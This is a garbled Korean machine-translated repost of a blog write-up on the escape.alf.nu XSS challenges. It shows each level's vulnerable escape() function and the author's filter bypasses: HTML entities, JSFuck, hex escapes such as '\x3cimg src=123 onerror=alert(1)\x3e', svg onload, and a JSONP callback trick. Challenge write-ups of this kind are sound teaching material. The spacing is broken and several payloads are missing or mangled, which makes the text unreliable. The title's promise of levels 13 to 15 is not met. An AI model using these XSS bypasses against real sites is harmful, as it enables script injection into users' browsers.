escape. alf. nu XSS Challenges 8 - 15 의 진급 XSS

13899 단어 xss
본문 링크:http://blog.csdn.net/u012763794/article/details/51526725
저번 에 챌 린 지 얘 기 했 어 요. 0 - 7. http://blog.csdn.net/u012763794/article/details/51507593제 것 은 다른 사람 것 보다 좀 더 상세 하 겠 죠. 사실 이것 은 일정한 xss 실천 이 필요 합 니 다.
잔말 말고 바로 도전 하 세 요.
challenge 8
function escape(s) {
  // Courtesy of Skandiabanken
  return '<script>console.log("' + s.toUpperCase() + '")</script>';
}
여 기 는 저희 가 입력 한 것 을 대문자 로 바 꿨 습 니 다.
그럼 html 실체 문 자 를 시험 해 보 겠 습 니 다. 바로 & \ # 뒤에 10 진 ascii 를 추가 합 니 다. 양보 해도 16 진 입 니 다. 예 를 들 어 & \ # x61, 뒤에 x 를 추가 하면 됩 니 다.
저 희 는 영어 만 바 꾸 면 돼 요.
alert   ------>
alert
html 실체 문자 이기 때문에 html 요소 에서 만 유효 합 니 다. img 태그 에 놓 아 보 겠 습 니 다.
그리고 html 는 대소 문자 에 민감 하지 않 습 니 다. 대소 문자 라 는 뜻 은 같 습 니 다.
잘 닫 으 면 돼, 부족 한 건 좀 길 어.
payload:
그리고 다른 payload 와 개조.
16 진법 의
escape.alf.nu XSS Challenges 8-15 之进阶的XSS_第1张图片
물론 자신의 서버 에 js 파일 을 놓 을 수 있 습 니 다. 파일 내용: alert (1);
짧 은 도 메 인 이름 이 있 으 면 문자 길이 가 더 짧 아 지고 짧 은 링크 도 짧 지 않 을 것 입 니 다.
challenge 9
function escape(s) {
  // This is sort of a spoiler for the last level :-)

  if (/[\\<>]/.test(s)) return '-';

  return '<script>console.log("' + s.toUpperCase() + '")</script>';
}
여기 서 실천 을 거 쳐 \, <, 와 > 가 일치 하면 바로 '-' 로 돌아 갑 니 다.
대문자 로 입력 할 수도 없고, <, alert 를 바 꿀 수도 없 나 요?
해 봤 어 요.
ctf 는 jsfuck, 암호 화 사 이 트 를 자주 볼 수 있 을 것 입 니 다.http://www.jsfuck.com/
escape.alf.nu XSS Challenges 8-15 之进阶的XSS_第2张图片
이 글자 가 좀 많아 요.
escape.alf.nu XSS Challenges 8-15 之进阶的XSS_第3张图片
앞서 프 리 버 프 에서 도 알파벳 을 쓰 지 않 는 js 암호 화 변환 을 보고 기억 하고 쓰 세 요.
challenge 10
function escape(s) {
  function htmlEscape(s) {
    return s.replace(/./g, function(x) {
       return { '<': '&lt;', '>': '&gt;', '&': '&amp;', '"': '&quot;', "'": '&#39;' }[x] || x;       
     });
  }

  function expandTemplate(template, args) {
    return template.replace(
        /{(\w+)}/g, 
        function(_, n) { 
           return htmlEscape(args[n]);
         });
  }
  
  return expandTemplate(
    "                                                
\ <h2>Hello, <span id=name></span>!</h2>
\ <script>
\ var v = document.getElementById('name');
\ v.innerHTML = '<a href=#>{name}</a>';
\ <\/script>
\ ", { name : s } ); }
우선 마지막 return 을 보고 expandTemplate 함수 로 html 요 소 를 처리 하 며 expandTemplate 에 html Escape 를 호출 하 였 습 니 다.
expandTemplate 함 수 는 아무 소 용이 없 을 것 같 습 니 다. 아 시 는 신 이 알려 주세요.
escape.alf.nu XSS Challenges 8-15 之进阶的XSS_第4张图片
html Escape 쌍 따옴표, & <, > 는 모두 html 실체 문자 로 바 뀌 었 으 나 여과 되 지 않 았 습 니 다 \ 전의 자
그럼 16 진법 으로 해 봅 시다.
escape.alf.nu XSS Challenges 8-15 之进阶的XSS_第5张图片
payload:  \x3cimg src = 123 onerror = alert (1) / / \ x3c 는 번호 보다 작은 16 진법 입 니 다.
escape.alf.nu XSS Challenges 8-15 之进阶的XSS_第6张图片
js 가 문자열 을 처리 할 때 16 진 을 문자 로 바 꾸 는 것 을 볼 수 있 습 니 다.

기타 payload, \ x3e 는 16 진수 이상 입 니 다.
\x3cimg src=123 onerror=alert(1)\x3e
\ x3csvg onload = alert (1) / svg html 5 캔버스 요 소 죠?
challenge 11
function escape(s) {
  // Spoiler for level 2
  s = JSON.stringify(s).replace(/<\/script/gi, '');

  return '<script>console.log(' + s + ');</script>';
}
stringify 는 의 미 를 바 꿀 수 있 습 니 다. "뒤의 replace 는 < / script 을 빈 문자 로 바 꾸 고 g 는 전역 모드 입 니 다. 처음부터 끝까지 검색 하 는 것 입 니 다. 얼마 가 있 든 i 는 대소 문 자 를 무시 합 니 다.
sql 주입 중 빈 것 으로 바 꾸 면 더 블 로 쓰 면 됩 니 다.
payload: alert(1)// 
물론 더 블 쓰 기 는 마음대로 할 수 있 습 니 다.
 alert(1)// 
 alert(1)// 
.............................................................
challenge 12
function escape(s) {
  // Pass inn "callback#userdata"
  var thing = s.split(/#/); 

  if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
  var obj = {'userdata': thing[1] };
  var json = JSON.stringify(obj).replace(/\//g, '\\/');
  return "<script>" + thing[0] + "(" + json +")</script>";
}

 var thing = s. split (/ # /) 는 \ # 로 두 부분 을 나 누 어 입력 합 니 다.
if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
\ # 번호 왼쪽 에 있 는 것 은 대소 문자 와 좌우 괄호 만 입력 할 수 있 습 니 다.
var json = JSON.stringify(obj).replace(/\//g, '\\/');
"의 미 를 바 꿉 니 다." 뒤의 replace 는 \ \ / 로 바 뀌 었 습 니 다. 사실은 \ / 로 바 뀌 었 습 니 다.

원래 html 주석 도 괜 찮 습 니 다. 그러면 간단 합 니 다.
escape.alf.nu XSS Challenges 8-15 之进阶的XSS_第7张图片
작은 따옴표
payload: '#';alert(1);  
마지막 으로 코드 생 성: < script > console. log ("") < / script > < script > console. log (") /;alert(1)//-->  ") < / script >, 로 컬 로 복사
중간 을 콘 솔 에 두 드 려 요.
console.log("  ")
간단하게 말하자면, console. log ("") 입 니 다.  <        /script>console.log(")/;       alert(1)
console    작은 번호   /정규 표현 식 /; alert(1)
그래서 문법 적 으로 맞아요.

사실 두 문장 이에 요.
escape.alf.nu XSS Challenges 8-15 之进阶的XSS_第14张图片
됐 습 니 다. 저 와 소통 하 는 걸 환영 합 니 다.
본문 링크:http://blog.csdn.net/u012763794/article/details/51526725

좋은 웹페이지 즐겨찾기